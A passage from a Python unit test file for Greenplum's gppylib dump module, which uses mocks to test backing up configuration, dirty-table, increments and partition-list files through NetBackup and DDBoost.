[Mock(), Mock()] timestamp_key = "20140014000000" mock_segs = [Mock(), Mock()] for id, seg in enumerate(mock_segs): seg.isSegmentPrimary.return_value = True seg.getSegmentDbId.return_value = id + 1 seg.getSegmentDataDirectory.return_value = "/data" seg.getSegmentHostName.return_value = "sdw" backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_master_config_filename') @patch('gppylib.operations.dump.generate_segment_config_filename') @patch('gppylib.operations.dump.GpArray.initFromCatalog') @patch('gppylib.operations.dump.GpArray.getDbList') def test_backup_config_files_with_nbu_05(self, mock1, mock2, mock3, mock4, mock5): master_datadir = "/data" backup_dir = None master_port = "5432" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None mock_segs = [Mock(), Mock()] timestamp_key = "20140014000000" mock_segs = [Mock(), Mock()] for id, seg in enumerate(mock_segs): seg.isSegmentPrimary.return_value = True seg.getSegmentDbId.return_value = id + 1 seg.getSegmentDataDirectory.return_value = "/data" seg.getSegmentHostName.return_value = "sdw" backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_master_config_filename') @patch('gppylib.operations.dump.generate_segment_config_filename') @patch('gppylib.operations.dump.GpArray.initFromCatalog') @patch('gppylib.operations.dump.GpArray.getDbList') def test_backup_config_files_with_nbu_06(self, mock1, mock2, mock3, mock4, mock5): master_datadir = None backup_dir = "/datadomain" master_port = "5432" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None mock_segs = [Mock(), Mock()] timestamp_key = "20140014000000" mock_segs = [Mock(), Mock()] for id, seg in enumerate(mock_segs): seg.isSegmentPrimary.return_value = True seg.getSegmentDbId.return_value = id + 1 seg.getSegmentDataDirectory.return_value = "/data" backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_master_config_filename') @patch('gppylib.operations.dump.generate_segment_config_filename') @patch('gppylib.operations.dump.GpArray.initFromCatalog') @patch('gppylib.operations.dump.GpArray.getDbList') def test_backup_config_files_with_nbu_07(self, mock1, mock2, mock3, mock4, mock5): master_datadir = None backup_dir = "/datadomain" master_port = "5432" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = None netbackup_keyword = None mock_segs = [Mock(), Mock()] mock_segs = [Mock(), Mock()] for id, seg in enumerate(mock_segs): seg.isSegmentPrimary.return_value = True seg.getSegmentDbId.return_value = id + 1 seg.getSegmentDataDirectory.return_value = "/data" backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_master_config_filename') @patch('gppylib.operations.dump.generate_segment_config_filename') @patch('gppylib.operations.dump.GpArray.initFromCatalog') @patch('gppylib.operations.dump.GpArray.getDbList') def test_backup_config_files_with_nbu_08(self, mock1, mock2, mock3, mock4, mock5): master_datadir = None backup_dir = "/datadomain" master_port = "5432" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = None netbackup_keyword = None mock_segs = [Mock(), Mock()] timestamp_key = "20140014000000" mock_segs = [Mock(), Mock()] for id, seg in enumerate(mock_segs): seg.isSegmentPrimary.return_value = True seg.getSegmentDbId.return_value = id + 1 seg.getSegmentDataDirectory.return_value = "/data" backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_master_config_filename') @patch('gppylib.operations.dump.generate_segment_config_filename') @patch('gppylib.operations.dump.GpArray.initFromCatalog') @patch('gppylib.operations.dump.GpArray.getDbList') def test_backup_config_files_with_nbu_09(self, mock1, mock2, mock3, mock4, mock5): master_datadir = "/data" backup_dir = "/datadomain" master_port = "5432" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" mock_segs = [Mock(), Mock()] for id, seg in enumerate(mock_segs): seg.isSegmentPrimary.return_value = True seg.getSegmentDbId.return_value = id + 1 seg.getSegmentDataDirectory.return_value = "/data" seg.getSegmentHostName.return_value = "sdw" backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_master_config_filename') @patch('gppylib.operations.dump.generate_segment_config_filename') @patch('gppylib.operations.dump.GpArray.initFromCatalog') @patch('gppylib.operations.dump.GpArray.getDbList') def test_backup_config_files_with_nbu_10(self, mock1, mock2, mock3, mock4, mock5): master_datadir = "/data" backup_dir = None master_port = "5432" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" mock_segs = [Mock(), Mock()] mock_segs = [Mock(), Mock()] for id, seg in enumerate(mock_segs): seg.isSegmentPrimary.return_value = True seg.getSegmentDbId.return_value = id + 1 seg.getSegmentDataDirectory.return_value = "/data" seg.getSegmentHostName.return_value = "sdw" backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_master_config_filename') @patch('gppylib.operations.dump.generate_segment_config_filename') @patch('gppylib.operations.dump.GpArray.initFromCatalog') @patch('gppylib.operations.dump.GpArray.getDbList') def test_backup_config_files_with_nbu_11(self, mock1, mock2, mock3, mock4, mock5): master_datadir = "/data" backup_dir = "/datadomain" master_port = "5432" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" mock_segs = [Mock(), Mock()] timestamp_key = "20140014000000" mock_segs = [Mock(), Mock()] for id, seg in enumerate(mock_segs): seg.isSegmentPrimary.return_value = True seg.getSegmentDbId.return_value = id + 1 seg.getSegmentDataDirectory.return_value = "/data" seg.getSegmentHostName.return_value = "sdw" backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_master_config_filename') @patch('gppylib.operations.dump.generate_segment_config_filename') @patch('gppylib.operations.dump.GpArray.initFromCatalog') @patch('gppylib.operations.dump.GpArray.getDbList') def test_backup_config_files_with_nbu_12(self, mock1, mock2, mock3, mock4, mock5): master_datadir = None backup_dir = "/datadomain" master_port = "5432" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = None netbackup_keyword = "foo" mock_segs = [Mock(), Mock()] timestamp_key = "20140014000000" mock_segs = [Mock(), Mock()] for id, seg in enumerate(mock_segs): seg.isSegmentPrimary.return_value = True seg.getSegmentDbId.return_value = id + 1 seg.getSegmentDataDirectory.return_value = "/data" backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.generate_schema_filename', result='foo_schema') @patch('gppylib.operations.dump.copy_file_to_dd') def backup_schema_file_with_ddboost_00(self, mock1, mock2): master_datadir = '/data' backup_dir = None dump_dir = 'backup/DCA-35' backup_schema_file_with_ddboost(master_datadir, backup_dir, dump_dir, self.dumper.dump_prefix) @patch('gppylib.operations.dump.generate_report_filename', result='foo.rpt') @patch('gppylib.operations.dump.copy_file_to_dd') def test_backup_report_file_with_ddboost_00(self, mock1, mock2): master_datadir = '/data' backup_dir = None dump_dir = 'backup/DCA-35' backup_report_file_with_ddboost(master_datadir, backup_dir, dump_dir, self.dumper.dump_prefix) @patch('gppylib.operations.dump.generate_increments_filename', result='foo.increments') @patch('gppylib.operations.dump.copy_file_to_dd') def test_backup_increments_file_with_ddboost_00(self, mock1, mock2): master_datadir = '/data' backup_dir = None dump_dir = 'backup/DCA-35' backup_increments_file_with_ddboost(master_datadir, backup_dir, dump_dir, self.dumper.dump_prefix, full_timestamp='20140101') @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_dirtytable_filename') def test_backup_dirty_file_with_nbu_00(self, mock1, mock2): master_datadir = "/data" backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_dirty_file_with_nbu_01(self, mock1, mock2): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_dirty_file_with_nbu_02(self, mock1, mock2): master_datadir = None backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_dirty_file_with_nbu_03(self, mock1, mock2): master_datadir = None backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'): backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_dirty_file_with_nbu_04(self, mock1, mock2): master_datadir = "/data" backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_dirty_file_with_nbu_05(self, mock1, mock2): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_dirty_file_with_nbu_06(self, mock1, mock2): master_datadir = None backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_dirty_file_with_nbu_07(self, mock1, mock2): master_datadir = None backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = None netbackup_keyword = None backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_dirty_file_with_nbu_08(self, mock1, mock2): master_datadir = None backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = None netbackup_keyword = None backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_dirty_file_with_nbu_09(self, mock1, mock2): master_datadir = "/data" backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_dirty_file_with_nbu_10(self, mock1, mock2): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_dirty_file_with_nbu_11(self, mock1, mock2): master_datadir = "/data" backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = "foo" backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_dirty_file_with_nbu_12(self, mock1, mock2): master_datadir = None backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = None netbackup_keyword = "foo" backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_dirtytable_filename') def test_backup_increments_file_with_nbu_00(self, mock1, mock2): master_datadir = "/data" backup_dir = "/tmp" full_timestamp = "20130101000000" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_increments_file_with_nbu_01(self, mock1, mock2): master_datadir = "/data" backup_dir = None full_timestamp = "20130101000000" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_increments_file_with_nbu_02(self, mock1, mock2): master_datadir = None backup_dir = "/tmp" full_timestamp = "20130101000000" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_increments_file_with_nbu_03(self, mock1, mock2): master_datadir = None backup_dir = None full_timestamp = "20130101000000" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'): backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_increments_file_with_nbu_04(self, mock1, mock2): master_datadir = "/data" backup_dir = "/tmp" full_timestamp = "20130101000000" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_increments_file_with_nbu_05(self, mock1, mock2): master_datadir = "/data" backup_dir = None full_timestamp = "20130101000000" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_increments_file_with_nbu_06(self, mock1, mock2): master_datadir = None backup_dir = "/tmp" full_timestamp = "20130101000000" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_increments_file_with_nbu_07(self, mock1, mock2): master_datadir = None backup_dir = "/tmp" full_timestamp = "20130101000000" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = None netbackup_keyword = None backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_increments_file_with_nbu_08(self, mock1, mock2): master_datadir = None backup_dir = "/tmp" full_timestamp = "20130101000000" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = None netbackup_keyword = None backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_increments_file_with_nbu_09(self, mock1, mock2): master_datadir = "/data" backup_dir = "/tmp" full_timestamp = "20130101000000" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_increments_file_with_nbu_10(self, mock1, mock2): master_datadir = "/data" backup_dir = None full_timestamp = "20130101000000" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_increments_file_with_nbu_11(self, mock1, mock2): master_datadir = "/data" backup_dir = "/tmp" full_timestamp = "20130101000000" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = "foo" backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_increments_file_with_nbu_12(self, mock1, mock2): master_datadir = None backup_dir = "/tmp" full_timestamp = "20130101000000" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = None netbackup_keyword = "foo" backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_dirtytable_filename') def test_backup_partition_list_file_with_nbu_00(self, mock1, mock2): master_datadir = "/data" backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_partition_list_file_with_nbu_01(self, mock1, mock2): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_partition_list_file_with_nbu_02(self, mock1, mock2): master_datadir = None backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_partition_list_file_with_nbu_03(self, mock1, mock2): master_datadir = None backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'): backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_partition_list_file_with_nbu_04(self, mock1, mock2): master_datadir = "/data" backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_partition_list_file_with_nbu_05(self, mock1, mock2): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_partition_list_file_with_nbu_06(self, mock1, mock2): master_datadir = None backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_partition_list_file_with_nbu_07(self, mock1, mock2): master_datadir = None backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = None netbackup_keyword = None backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_partition_list_file_with_nbu_08(self, mock1, mock2): master_datadir = None backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = None netbackup_keyword = None backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_partition_list_file_with_nbu_09(self, mock1, mock2): master_datadir = "/data" backup_dir = "/tmp" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') 